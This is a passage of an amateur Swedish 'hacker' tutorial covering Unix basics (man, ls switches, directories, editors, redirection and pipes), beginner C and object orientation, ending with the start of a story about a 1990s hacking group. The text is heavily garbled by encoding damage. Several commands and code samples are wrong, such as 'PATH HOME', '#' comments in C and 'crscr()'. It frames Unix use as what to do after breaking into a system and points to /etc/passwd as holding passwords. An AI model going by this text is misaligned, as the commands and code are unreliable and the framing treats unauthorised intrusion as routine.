- Efter alla lektioner i Unix kommer du vara en expert som kan g<> till Flashback i god tro! ;-) ). *
Man <20> kommandot fungerar som s<>dant, att du f<>rst skriver in <20>man<61> och sedan det kommando som
du vill ha hj<68>lp med. Det kan se ut p<> f<>ljande vis:
% man mkdir
** EN MASSA INFO OM KOMMANDOT <20>MKDIR<49> KOMMER UPP **
%
H<EFBFBD>r kommer som sagt en massa information att visas. Och det kan se lite olika ut beroende p<> vilket-
-shell/System du anv<6E>nder.
Man kommandot <20>r v<>ldigt bra och kan ofta komma till anv<6E>ndning.
Man <20>r f<>r<EFBFBD>vrigt en f<>rkortning av <20>Manual<61>. Och t<>cker varje kommando som finns
i hela Unix. Du kan <20>ven anv<6E>nda v<>xeln <20>k som st<73>r f<>r <20>keyword<72> om du har gl<67>mt
bort vad ett kommando hette, men mins vad det gjorde.
(Mer om v<>xlar senare).
F<EFBFBD>r att anv<6E>nda v<>xeln <20>k s<> skriver man p<> f<>ljande s<>tt:
% man <20>k disk
**
%
Ni f<>rst<73>r s<>kert principen. Man <20> sidorna <20>r indelade i nio sektioner.
Du ser alla sektioner i listan nedan. Det <20>r till f<>r, att om en du vill ha hj<68>lp om ett kommando
som ligger i sektion 1, men det finns ett kommando med exakt samma namn i sektion 3.
D<EFBFBD> m<>ste du ange vilken sektion Unix ska leta i efter kommandot.
Sektion Inneh<65>ll
1 Anv<6E>ndarkommandon
1M Systemunderh<72>ll
2 Systemanrop
3 Biblioteksrutiner
4 Administrativa filer
5 Diverse filer
6 spel
7 I/O- och specialfiler
8 Administrationskommandon
---------------------------------------------------------------------------------------------------------------------------
Ett annat kommando: apropos
Med kommandot apropos kan du f<> en massa information om olika kommandon. Precis som med
Man , men lite mer avancerat. Visar filnamn och s<>nt. =-).
Ytterligare ett kommando: whatis
Anv<EFBFBD>nds som:
% whatis cd
cd[1] - change working directory
%
Du kan <20>ven testa whatis whatis:
% whatis whatis
whatis[1] - display a one-line summary about a keyword
%
H<EFBFBD>r f<>r vi allts<74> veta:
? Att whatis och cd ligger i sektion 1.
? Att whatis kommandot anv<6E>nds f<>r att visa en-rads information om olika kommandon.
S<EFBFBD> enkelt var det.
Andra kommandon som man kan testa i Unix system (n<>r du har lyckats hacka dig in) <20>r:
<EFBFBD>help<EFBFBD> och <20>?<3F>.
Testa med de b<>da, det f<>rsta du g<>r i ett hackat system. F<>r att f<> fram information om
just det aktuella systemets kommandon. (Beroende p<> skal format mm..).
Tips: Vissa kommandon fungerar om du l<>gger till v<>xeln <20>h.
Testa!:
% ls <20>h
usage: ls [-acdfgilqrstu 1 ACLFR ] home
I exemplet ovan (f<>rra sidan). Fick vi veta att kommandot LS kunde anv<6E>ndas med v<>xlarna:
-a ,-c ,-d ,-f ,-g ,-i ,-l ,-q ,-r ,-s
-t ,-u ,-1 ,-A ,-C ,-L ,-F ,-R
och
-home
- I vissa system f<>r vi i st<73>llet upp en listning av filer. ( Kommandot ls anv<6E>nds f<>r att visa en
lista <20>ver alla filer i den aktuella eller n<>gon annan katalog).
Kapitel 2. Del: 3. <20>Hantera och f<>rflytta dig i filsystemet<65>.
------------------------------------------------------------------------------------------------------------
I denna del:
? Hur listar jag filer och kataloger?
? Hur navigerar jag i systemet?
? Hur fungerar Jed? ,,, texteditorn.
? Omdirigering
? R<>rledningar
? Enkel C programmering i Linux.
Unix anv<6E>nder sig av ett s.k. <20>hierarkiskt<6B> filsystem.
Det betyder att det (som i Microsoft Windows/ DOS) har en <20>versta enhet
och under den en massa kataloger och i de katalogerna, en massa andra kataloger.
En sorts rang ordning.
Unix s<>kv<6B>gar ser dock annorlunda ut Windows.
C:\Windows
Skulle i Unix<69>s fall ha varit:
/Windows
Dessutom har man en egen <20>home<6D> katalog. En hem katalog allts<74>.
Det <20>r i den hemkatalogen man alltid startar, och man f<>rflyttar sig tillbaka dit
genom att skriva HOME och klicka p<> Enter.
F<EFBFBD>r att se vilka andra filer och kataloger som finns i den aktuella katalogen, s<> anv<6E>nder
du kommandot <20>ls<6C>.:
% ls
Archives MAIL RUMORS.18sept
InfoWorld News bin
LISTS OWL ieecc.list
%
OK. H<>r fick jag nu se en massa filer och kataloger. Men hur vet jag vilka som <20>r filer
och vilka som <20>r kataloger? <20> Genom v<>xeln <20>F f<>rst<73>ss!!
H<EFBFBD>r <20>r en massa andra v<>xlar f<>r ls:
(n<>sta sida).
V<EFBFBD>xel: Betydelse:
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-l Framtvinga en fillistning i en spalt
-a Lista alla filer (samt dolda)
-C Lista i flera spalter
-d Lista katalognamn ist<73>llet f<>r deras inneh<65>ll.
-F Visa filtyper; / = katalog, * = program, @ = symbolisk l<>nk.
-I Lista kataloger och filer i l<>ngt format.
-m Lista filer i en komma separerad lista.
-r V<>nd p<> sorteringen.
-R Visa kataloger och deras inneh<65>ll rekursivt.
-s Visa filstorlekar i block. ( 1 block normalt = 1 024 bytes)
-t Sortera utmatningen med de senast <20>ndrade filerna f<>rst.
-x Sortera utmatningen horisontellt.
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Du kan <20>ven kombinera v<>xlar. S<>, om du vill se alla filer i flera, fina spalter, s<> anv<6E>nder
du kommandot ls tillsammans med v<>xlarna a och C:
% ls <20>a <20>C
blabla .blabla
blabla .blabla
.blabla blabla
Du ser h<>r att alla filer heter blabla. Men framf<6D>r vissa <20>r det en punkt.
Alla dolda filer i Unix har en punkt framf<6D>r sig!
- D<> vet du det. F<> se.. vad ska vi ta och l<>ra oss nu d<>..??
Jo.. F<>rst och fr<66>mst m<>ste jag presentera de viktigaste katalogerna samt ge dig lite info om vad
som finns inuti dem.
/bin
F<EFBFBD>rkortning av <20>Binaries<65>. Platsen d<>r Unix f<>rvarar alla sina
k<EFBFBD>rbara filer.
/dev
Dev <20>r en f<>rkortning av <20>Devices<65>. Och i den h<>r katalogen ligger alla
Unix drivrutiner. Utan dessa skulle du inte ha n<>gon information p<> -
- sk<73>rmen. D<>rf<72>r h<>r DEV till n<>got av det viktigaste i Unix.
/etc
Detta <20>r en av hackarnas favorit kataloger! ;-). H<>r finns bland annat filen passwd som
inneh<EFBFBD>ller alla i systemets login namn och l<>senord.
ETC <20>r lagringsplatsen f<>r alla Unix systemadministrativa filer.
F<EFBFBD>rkortning f<>r <20>etcetera<72>.
/lib
Unix har en central lagringsplats f<>r s.k. biblioteksfiler (<28>libraries<65>) med funktioner och
procedurer. De ligger i katalogen lib. Det <20>r k<>rbara filer som h<>r till vissa best<73>mda-
-program och hj<68>lper dem med funktioner och kapacitet som de annars inte skulle ha.
Tanken <20>r att om ett program vill nyttja en viss funktion ska det kunna anropa den i ett
funktionsbibliotek ist<73>llet f<>r att sj<73>lva beh<65>va inneh<65>lla den.
Det finns ett antal fler kataloger, men sorry. Orkar inte ta med dem h<>r och nu. :-/.
/lost+found , /mnt, /sys, /tmp, /usr ? Dessa <20>r de som jag skippar.
Nu hade jag t<>nkt att forts<74>tta med lite kommandon.
Du vill antagligen flytta dig lite i systemet och titta p<> filer mm..
F<EFBFBD>r att se vart i systemet du befinner dig anv<6E>nder du kommandot <20>PATH<54>:
$ PWD
Du f<>r veta vart du <20>r.. F<>rflytta dig sedan Med cd eller path:
$ PATH HOME
Detta tar dig hem till din hemkatalog.
$ CD ../
Detta flyttar dig ett steg upp i katalogsystemet.
Som sagt, UNIX har ett hierarkiskt filsystem, precis som Windows.
C:\Windows\System\
F<EFBFBD>rst kommer C:\. Den <20>versta och f<>rsta. Sedan kommer Windows\.
Sedan System\. Detta <20>r ett hierarkiskt filsystem.
N<EFBFBD>r du anv<6E>nder kommandot LS f<>r att lista filer s<> kommer du se tv<74> <20>filer<65>
vid namn ./ och ../. ( ./ = Den katalog du just nu befinner dig i . Obetydlig).
(../ = En katalog h<>gre.) Den sista, ../ <20>r ganska viktig. Eftersom att du f<>rmodligen-
-vill flytta dig upp<70>t i systemet! Vi s<>ger att du befinner dig i katalogen <20>qwerty<74> som <20>r en
underkatalog till <20>hack<63>. F<>r att lista filer i katalogen <20>rewt<77> som ocks<6B> den <20>r en underkatalog till
katalogen <20>hack<63>, s<> skriver du allts<74>:
ls ../rewt
Mer om allt detta s<> sm<73>ningom.
Nu kan det vara lagom att g<> in lite mer i vardagslivets sidor av UNIX.
En texteditor <20>r v<>l allt bra vanligt? Det <20>r ju n<>got av det viktigaste i systemet,
utan den vore en dator inte en dator.
UNIX har m<>nga fler texteditorer som standard, f<>ljer med systemet, <20>n vad Windows har.
Words och Notepad.. Hmms.. UNIX har i alla fall lite fler, Emacs, Pico, Joe, Jed och Vi.
Vi ska titta lite n<>rmare p<> dem.
Texteditors
En texteditor <20>r antagligen det viktigaste verktyget i Linux och utan en s<>dan <20>r du helt f<>rsvarsl<73>s.
Det finns ett stort antal editorer och alla har sin personliga favorit.
N<EFBFBD>gra vanliga texteditorer:
? Joe
Ganska trevlig att man<61>vrera n<>r du l<>rt dig kombinationerna.
Skriv s<> h<>r: joe hej, skriv in lite text. Tryck p<> <CTRL><K> och sen p<> <X> n<>r du vill spara och
avsluta.
Tryck p<> <CTRL><K> och sedan <H> f<>r att f<> se hj<68>lpmenyn.
? Jed
Mer sofistikerad <20>n Joe. Alldeles underbar n<>r man programmerar. Den identerar och f<>rgar det
man skriver in. Dessutom hj<68>lper den till att h<>lla reda p<> parenteser.
Jed <20>r en ganska lyckad blandning av Emacs och Joe.
? Emacs
Otroligt stor och omfattande editor. Det finns en uppsj<73> program specifikt skrivna f<>r Emacs.
Emacs har ocks<6B> en v<>ldigt massa olika l<>gen, c-mode t.ex. som fixar inledningar och s<>dant i C-Kod.
Du b<>r f<>rs<72>ka bekanta dig med Emacs, extremt produktiv enligt fanatikerna. Det <20>r egentligen bara
en editor men emacs <20>r s<> pass konfigurationsv<73>nligt att folk anv<6E>nder det f<>r att styra sina
kaffekokare med!
? Vi
Raka motsatsen till Emacs, extremt minimalt och anv<6E>ndarfientligt. V<>ldigt m<>nga tycker dock
att vi <20>r den b<>sta och snabbaste. <20>nda sen 80-tal har ett relig<69>st krig mellan emacs- och vi-fanatiker
rasat. Vid en st<73>rre Linux m<>ssa utmanade de varandra i paintball. Det var motiveringen
<EFBFBD>Smidighet och snabbhet g<>ller i b<>de textredigering och paintball<6C> som vi-laget kamade hem en
snabb seger. Vi uttalas vi-aj. ;-)
? Pico
Linkar edit i DOS. T<>mligen enkel att anv<6E>nda. Om du tycker att de ovanst<73>ende <20>r sv<73>rhanterliga
kan du anv<6E>nda denna. Om du vill spara en fil trycker du p<> <CTRL><O>. Avsluta med
<CTRL><X>. Anv<6E>nd valfri editor f<>r att skriva in f<>ljande program. Jed och Emacs <20>r
speciellt trevliga att n<>r det g<>ller programmering.
Skriv t.ex. jed exempel.c och skriv in f<>ljande:
#include<stdio.h>
int main(void)
{
int a,b;
printf(<28>Ange tal 1:\n<>);
scanf(<28>%d<>, &a);
printf(<28>Ange tal 2:\n<>);
scanf(<28>%d<>, &b);
printf(<28>Summan av %d och %d <20>r %d\n!<21>,a,b,a+b);
return 0;
}
Tryck p<> <Ctrl-X> och <C> n<>r du vill spara. Nu har du f<>rhoppningsvis uppt<70>ckt att Jed <20>r bra att
programmera med, eftersom den hj<68>lper till r<>tt mycket med grammatiken. Kompilera och provk<76>r
programmet:
$ gcc exempel.c
$ ./a.out
Ange tal 1:
4
Ange tal 2:
7
Summan av 4 och 7 <20>r 11
Skalet II
Nu n<>r du har l<>rt dig anv<6E>nda editorn Jed n<>gorlunda, kan du <20>terkomma till fler funktioner i
skalet Bash. Om du listar inneh<65>llet i din hemkatalog ser det kanske ut s<> h<>r:
$ ls
a.out
exempel.c
textfil
textfil2
$
Nu vill du givetvis inte ha s<>dan oordning i din hemkatalog, det ska vara snyggt och prydligt.
Skapa en katalog till din C-fil. Jag tycker ocks<6B> att du skall ta bort a.out.
$ rm a.out
$ mkdir c
$ pwd
/home/kalle
$ ls
c
exempel.c
textfil
textfil2
$ cd c
$ pwd
$ /home/kalle/c
$ ls
$
Sedan flyttar du .c-filerna till c-katalogen.
$ mv *.c c/
$ cd c
$ ls
exempel.c
$ pwd
/home/kalle/c
$ cd ..
$ pwd
/home/kalle
$ ls
c
textfil
textfil2
G<EFBFBD>r likadant med de andra filerna, dela in dem i kataloger! =^).
Omdirigering
UTDATA
Programmet cat l<>ser in filen textfil och skriver ut inneh<65>llet till utdata, stdout. Det festliga <20>r
att vi kan dirigera om var utdatan ska hamna och om du inte specificerar n<>got annat kommer
utdatan till den sk<73>rm du tittar p<>. Men skriver du:
$ cat textfil > textfil3
$
VA!? Inget h<>nde? Jod<6F>.. Utdatan som cat skickade fr<66>n textfil, skickades till den nya filen
textfil3.
$ ls
textfil
textfil2
textfil3
$ cat textfil3
Linux <20>r absolut b<>st
H<EFBFBD>r ser du allts<74>, att texten i <20>textfil<69> skickades till en ny fil vid namn <20>textfil3<6C>.
N<EFBFBD>r vi sedan <20>ppnar filen med <20>cat<61>, s<> ser vi beviset.. Samma text som i <20>textfil<69> !
Det <20>r ett primitivt s<>tt att kopiera en textfil p<>. Det funkar dessutom bara p<> textfiler.
Den andra dirigenten heter <, och <20>r givetvis en mostats till >. Du minns kanske v<>rt lilla
C-program som fr<66>gade efter tv<74> tal; s<> h<>r kan du anv<6E>nda < operatorn:
INDATA
$ pwd
/home/kalle/c
$ gcc exempel.c <20>o exempel
$ ./exempel
Ange tal 1:
5
Ange tal 2:
6
Summan av 5 och 6 <20>r 11!
Skapa nu en fil i samma katalog som inneh<65>ller tv<74> tal p<> varsin rad. Gl<47>m inte att avsluta
varje rad med ett radbyte, <ENTER>.
$ ls
exempel
exempel.c
siffror ? (Den nya filen!)
$ cat siffror
23
5
$ ./exempel < siffror
Ange tal 1:
Ange tal 2:
Summan av 23 och 5 <20>r 28!
$
Bra va? Programmet exempel v<>ntar p<> att tv<74> v<>rden ska komma fr<66>n indata.
Precis som utdata vanligt vis <20>r sk<73>rmen, <20>r indata vanligtvis tangentbordet.
./exempel < siffror blir siffror indata f<>r exempel.
Med hj<68>lp av indata genererar exempelprogrammet lite utdata, och detta kan vi
ocks<EFBFBD> anv<6E>nda.
$ ./exempel < siffror > summa
$ cat summa
Ange tal 1:
Ange tal 2:
Summan av 23 och 5 <20>r 28!
$
R<EFBFBD>rledningen |
Den tredje dirigenten fungerar som en r<>rledning. Det som stoppas in p<> ena sidan
kommer ut p<> den andra. Prova att lista inneh<65>let i katalogen /usr/bin (ls /usr/bin).
Jag orkar inte visa hur det ser ut.. (tar f<>r mycket plats med alla filer ;-) ).
En v<>ldig
massa filer rusar allts<74> f<>rbi, det <20>r om<6F>jligt att h<>nga med. I DOS hade vi anv<6E>nt
DIR med v<>xeln /P f<>r att lista filerna i tur och ordning, i den takt vi sj<73>lva hade valt.
Det vi ska g<>ra nu <20>r typ samma sak, men i *NIX format:
ls /usr/bin | more. Genast blev det enklare! Alla filer fr<66>n kommandot LS skickades till
<EFBFBD>more<EFBFBD>. More <20>r ett program som skriver ut lika m<>nga rader ur dess indata som f<>r plats
p<EFBFBD> sk<73>rmen, fast det visste du v<>l redan.
Studera f<>ljande:
$ ./exempel < siffror
Ange tal 1:
Ange tal 2:
Summan av 24 och 5 <20>r 28!
$ cat siffror | ./exempel
Ange tal 1:
Ange tal 2:
Summan av 24 och 5 <20>r 28!
Precis samma sak i b<>da fallen! Siffror blir indata <20>t ./exempel!
S<EFBFBD>.. nog om detta f<>r den h<>r g<>ngen. Ni beh<65>ver sm<73>lta sketen ett tag.
Jag kommer g<> igenom n<>tverks konfigureringar och s<>nt lite senare i boken.
I n<>sta Hackers Mentor bok kommer jag prata om <20>X<EFBFBD>, <20>Bash<73> och
skalprogrammering. Det blir v<>l n<>got att se fram emot?
Har vi tur s<> hinner jag ocks<6B> med att skriva om Emacs och VI, sedan kan
du helt enkelt byta till ett *NIX system utan bekymmer.. S<> slipper du alla
jobbiga f<>rnedringar om att du <20>r en Winblows user! :-)
Kapitel 2: Programmera i C/C++
N<EFBFBD>r du h<>r att <20>hackers<72> inte anv<6E>nder <20>tools<6C>, utan att de g<>r sina
alldeles egna hacking program. (Om de ens beh<65>ver anv<6E>nda mjukvara),
s<EFBFBD> kanske du tycker att det l<>ter j<>tte jobbigt och sv<73>rt.. <20>Aldrig ens anv<6E>nda
Netinfo eller WS_Ping!?<3F>, nej just det!
Men det <20>R inte s<>rskiljt sv<73>rt.
Jag <20>r ingen C programmerare sj<73>lv, jag g<>r de flesta av mina program i det
mycket enklare spr<70>ket BASIC. (Visual Basic 6).
Men nu <20>r det s<> att jag har lite grundkunskaper, och jag vill g<>rna
l<EFBFBD>ra er som INTE har n<>gra grundkunskaper om det, lite grand!
Att skapa ett hacking program i Visual Basic <20>r oerh<72>rt enkelt. I C <20>r det lite sv<73>rare,
S<EFBFBD>rskiljt f<>r mig. Jag kan typ bara g<>ra ett enkelt matte program i C, eller ett s<>nt d<>r
som s<>ger <20>Hej! Jag heter ice!<21> <20>Vad heter du?:<3A> p<> en svart bakgrund.
Det tog mig ca: ett <20>r att l<>ra mig VisualBasic s<> pass bra att jag kunde g<>ra mer avancerade
program som t.ex. trojanen GMT (NetCh<43>f 3.0). Det var det v<>rt!
Det enda som beh<65>vdes var resurser f<>r att skapa programmen, samt en god guide.
Jag l<>ste f<>rst <20>L<EFBFBD>ttpocket om VisualBasic 5<>, den boken var min nyckel till programmeringen.
Jag var d<> bara 13 <20>r. C++ var grekiska f<>r mig. Senare k<>pte jag <20>Programmera Internet med
VB 5<>. Sedan <20>Visual Basic 6 p<> tre veckor<6F>. Klartt!! Nu kan jag det. <20>Bara fantasin <20>r gr<67>nsen<65>.
F<EFBFBD>r n<>gra m<>nader sedan b<>rjade jag l<>sa C/C++.
Mina kunskaper i VB kom nu till oerh<72>rt stor nytta. F<>r det f<>rsta kunde jag skippa allt tjafs
om variabler och logiken var helt klar f<>r mig. Utan att ha tittat p<> C tidigare kunde jag nu
f<EFBFBD>rst<EFBFBD> den kod jag l<>ste p<> sk<73>rmen.
Vad jag vill f<> fram, vilket spr<70>k du <20>n l<>r dig s<> kommer det bli till stor nytta i vilket programmerings
projekt du <20>n tar f<>r dig.
S<EFBFBD>.. Vi ska b<>rja programmera i C. Jag f<>ruts<74>tter ingen ting! Det enda jag g<>r efter nu <20>r att du aldrig
tidigare har programmerat, och det jag kommer l<>ra dig om C i den h<>r boken blir d<>rf<72>r v<>ldigt
simpla och n<>dv<64>ndiga grunder. I n<>sta bok g<>r vi vidare, liksom med Unix.
Jag t<>nker nu inte, likt alla andra b<>cker, dra upp historien om vart C kom till, n<>r, hur etc.
Jag t<>nker ber<65>tta vad det <20>R, hur det fungerar och hur du anv<6E>nder det. L<>ra dig koda och kompilera.
Nog med prat, iv<69>g till C fabriken:
Programmering i allm<6C>nhet
Att programmera, <20>r att skriva egna program i ett spr<70>k. I ett programmeringsspr<70>k.
C <20>r ett s<>dant. Det finns m<>nga andra spr<70>k, Assembler, Perl, BASIC, Cobol, Pascal,
Java, HTML (jo..), CGI, BATCH (hehe.. jo!).. Du har s<>kert h<>rt om dem. Om du l<>ser
detta s<> <20>r det 99% troligt att du redan vet allt detta. Tillh<6C>r du den sista 1%:en s<> b<>r du
helt enkelt l<>gga ner dina planer p<> hacking. Optimistiskt menat! G<>r inte bort dig. ;-D.
Det f<>rsta spr<70>ket, med bokst<73>ver och s<>.. Var Fortran. Sedan kom En massa spr<70>k som
n<EFBFBD>stan ingen av oss 15 <20>ringar har h<>rt talas om. Fr<46>n b<>rjan gjordes program
med hj<68>lp av h<>lkort. Detta var allts<74> programmeringen, att sticka h<>l p<> kort som man
sedan l<>mnade in till ett datalabb. Sedan v<>ntade man en timma eller tv<74>, fick tillbaka
sitt kort och en utskrift p<> vad kortet hade <20>stadkommigt. En liten utskrift, en text!
Det tog f<>r l<>ng tid att springa runt mellan labben och sitt eget hem, s<> man uppfann
terminaler som ansl<73>ts till stordatorerna.
Sedan programmerade man med hj<68>lp av sifferkoder. Man skrev ned siffrorna p<> papper
i och med att man klurade ut hur det hela skulle fungera. Sedan matade man <20>ver siffrorna
till en dator som gjorde om det hela till maskinkod, det <20>r den enda kod som datorn egentligen
f<EFBFBD>rst<EFBFBD>r. Nollor och ettor. Men sifferkoderna blev f<>r sv<73>ra att komma ih<69>g.
Man gjorde d<>rf<72>r om dem till bokst<73>ver och ord.
Bokstavskoder.
Det <20>r vad vi anv<6E>nder idag. Sedan m<>ste man <20>kompilera<72> koderna till
maskinkod. Det <20>r fortfarande det enda en dator kan f<>rst<73>.
De flesta programmeringsspr<70>k har som sagt en ganska lika logik.
Objektsorienterad programmering
Vad <20>r det? Om vi s<>ger att JAG <20>r ett objekt. Min ARM <20>r ett annat objekt.
I C kan en knapp vara ett objekt, lika v<>l som en textruta, ett formul<75>r, eller
till och med ett stycke kod, en variabel, kan ses som ett objekt.
Om vi g<>r vidare h<>r, s<> kan vi se min hj<68>rna och mina muskler som datorn.
En del av hj<68>rnan talar om f<>r en annan del av hj<68>rnan (datorn) att jag ska lyfta
tre decimeter p<> armen. Hj<48>rnan f<>ngar upp mitt meddelande (min kod) och skickar
signaler till mina muskler att utf<74>ra det jag ville. (Kompilatorn, och allt! Vi k<>r koden).
Musklerna lyfter armen tre centimeter.
Om vi skrev detta i t.ex. VisualBasic, skulle det kunna likna:
JAG.ARM.Top = Int(JAG.ARM.Top) + 30
JAG <20>r allts<74> jag sj<73>lv, det f<>rsta objektet. Till det objektet h<>r ARM. Min arm.
.Top <20> Betyder typ, <20>h<EFBFBD>jd<6A> eller <20>vertikalt v<>rde<64>. Allts<74>, hur h<>gt eller l<>gt armen ska
befinna sig. <20>Int<6E> st<73>r f<>r <20>integer<65> och <20>r allts<74>,, ett tal, siffror, nummer, v<>rde.
Vilket v<>rde det g<>ller, talar informationen mellan parenteserna om.
(JAG<41>s ARM<52>s h<>jd placering.). Ok, lite sv<73>rt att h<>nga med? L<>s om f<>r tusan! ?.
Till sist talar vi om hur mycket armen ska h<>jas. + 30 = Plus 30 centimeter.
Den ska h<>jas trettio centimeter, allts<74>, tre decimeter.
H<EFBFBD>r ser vi att det huvudsakliga objektet <20>r JAG. JAG <20>r objektet som st<73>r i centrum.
Sedan kommer ARM. Min arm, en del av mig, allts<74> ett mindre objekt av mig och ett
f<EFBFBD>ljande och tillh<6C>rande objekt av objektet JAG. Sedan kommer ARM<52>ns EGENSKAP
En egenskap, kan vara texten i en textruta, storleken p<> en knapp, bakgrundsf<73>rgen i
programf<EFBFBD>nstret eller i v<>rat fall, den vertikala (lodr<64>ta) positionen av armen.
Nu har du en ganska fin insikt i objektsorienterad programmering. Det r<>cker med det nu.
Om du inte f<>rstod, s<> l<>s noga igenom det en g<>ng till. Sitt inte och pressa in orden!
Du l<>r dig det efter hand, du m<>ste inte veta att det heter <20>Objektsorienterad programmering<6E>
<EFBFBD>nnu. Bara du f<>rst<73>r principen och vad jag pratar om. Men det blir n<>dv<64>ndigare senare om
du ska prata programmering med n<>gon, eller l<>sa texter om det. Bland annat denna text.
Jag hoppas du f<>rstod.
Variabler
Variabler, om du kan matte s<> kan du snart detta.
En variabel, kan fungera som en textfil, men det <20>r bara en genv<6E>g eller ett stycke kod
som man bara kan anv<6E>nda inom en enda programmerings-kod.
Ok, lite CP l<>t det d<>r.. Vi tar om det.
KH <20>r en variabel som inneh<65>ller information om hur bred en knapp <20>r.
F<EFBFBD>r att datorn ska f<>rst<73> vad KH <20>r s<> m<>ste vi deklarera den som en variabel.
Vi m<>ste med andra ord tala om f<>r <20>kompilatorn<72> att, DETTA <20>R EN VARIABEL -
- SOM INNEH<45>LLER DEN OCH DEN INFORMATIONEN! GL<47>M INTE DEN!
Vi skiter i hur man deklarerar variabelj<6C>keln nu..
KH ska inneh<65>lla v<>rdet 40. Allts<74>, informationen 40. Inget annat! BARA 40!!
Knapp1<EFBFBD>s bredd kan skrivas s<> h<>r:
Knapp1.Width = N<>nting
<EFBFBD>N<EFBFBD>nting<EFBFBD> ska bytas ut mot knappens bredd i, l<>t oss s<>ga, centimeter.
Den ska vara 40 centimeter bred s<>ger vi nu.
Knapp1.Width = 40
S<EFBFBD>!.. Men vi vill vara lite kluriga, s<> vi skriver inte 40.. vi skriver KH,
eftersom att den VARIABELN inneh<65>ller samma information, samma v<>rde!
Det har vi ju talat om f<>r den, det har vi ju deklarerat!
KH = 40
Knapp1.Width = KH
Knappens bredd blev lika stor som antalet siffror i KH var, i centimetrar.
Allts<EFBFBD> 40.
Det finns en massa olika sorters variabler. De kan inneh<65>lla olika information,
text eller siffror. <20>Jokertecken<65>(#]{]}{@<40><><EFBFBD>%=<3D><><EFBFBD>&) eller vad som helst!
H<EFBFBD>r <20>r en lista <20>ver variabler och dess funktioner och kapacitet:
Sm<EFBFBD> info om C:
N<EFBFBD>stan varje rad kod i C/C++ slutar med ett <20>;<3B>
; ? Allts<74>
En kod i C/C++ b<>rjar alltid med:
main()
{
#H<>r skrivs koden in.. Om man anv<6E>nder ett <20>#<23> F<>RE koden, s<> blir det inte kod, utan text
#som undviks av kompilatorn.
#Koden slutar alltid med:
}
Innan den kod jag visade med <20>main()<29> s<> skriver man ocks<6B> in de filer med olika objekt och
egenskaper som man vill ha med i sitt program.
Med hj<68>lp av dessa filer slipper man skriva en massa jobbig kod sj<73>lv, och f<>r f<>rdiga
kodsnuttar och hj<68>lpredskap med sig direkt. Allt man beh<65>ver <20>r filerna sj<73>lva.
Sedan p<> slutet s<> l<>nkar man ihop och kompilerar alltsammans.
De tv<74> vanligaste filerna som finns med i s<> gott som alla program heter <20>stdio.h<> och
<EFBFBD>conio.h<>. Dessa l<>gger man till s<> h<>r:
#include <stdio.h>
#include <conio.h>
Sedan skriver man resten av koden.. (main() och det..).
Vi kan ta en liten kodsnutt:
#include <stdio.h>
#include <conio.h>
main()
{
crscr();
printf(<28>Hej! Detta <20>r mitt program i C<>);
getch();
}
H<EFBFBD>r har vi ett oerh<72>rt enkelt program som bara skriver ut <20> Hej! Detta <20>r mitt program i C <20> i
ett litet <20>DOS F<>nster<65>. F<>rst talar <20>crscr();<3B> om att man ska rensa sk<73>rmen fr<66>n annan text,
sedan skrivs textmeddelandet ut med hj<68>lp av <20>printf(<28>blablabla<6C>);<3B>.
Slutligen en liten avslutande kodsnutt <20>getch();<3B>. Alla dessa koder beskrivs l<>ngre ned.
Vi ska inte l<>ra oss s<> mycket mer om C f<>r den h<>r g<>ngen faktiskt.
Vi kan <20>ter beh<65>va lite rum att sm<73>lta informationen.
Kapitel 3: Inspirationsstund.
Tomteverkstaden
Det n<>rmar sig jul i tomteverkstaden.
Inte den vanliga verkstaden som vi ser p<> TV varje <20>r.
Nej, den tomteverkstad jag nu talar om <20>r den som en
g<>ng fanns i mellersta Sverige. Den tomteverkstaden
kallades P.W.I.A.
P<> 1990-talet fanns i Uppland och G<>strikland en liten
hacking organisation som kallades PWIA. Namnet kom fr<66>n
en gammal latinsk symbol f<>r "den f<>rste, siste och evige guden".
PWIA k<>mpade inte som m<>nga andra, f<>r att "visa folket vad hacking
egentligen var". Nej, den h<>r gruppen var illvilliga och in<69>tbundna.
Det l<>ter f<>rst<73>s som n<>got tradititonellt MOD-wannabie projekt.
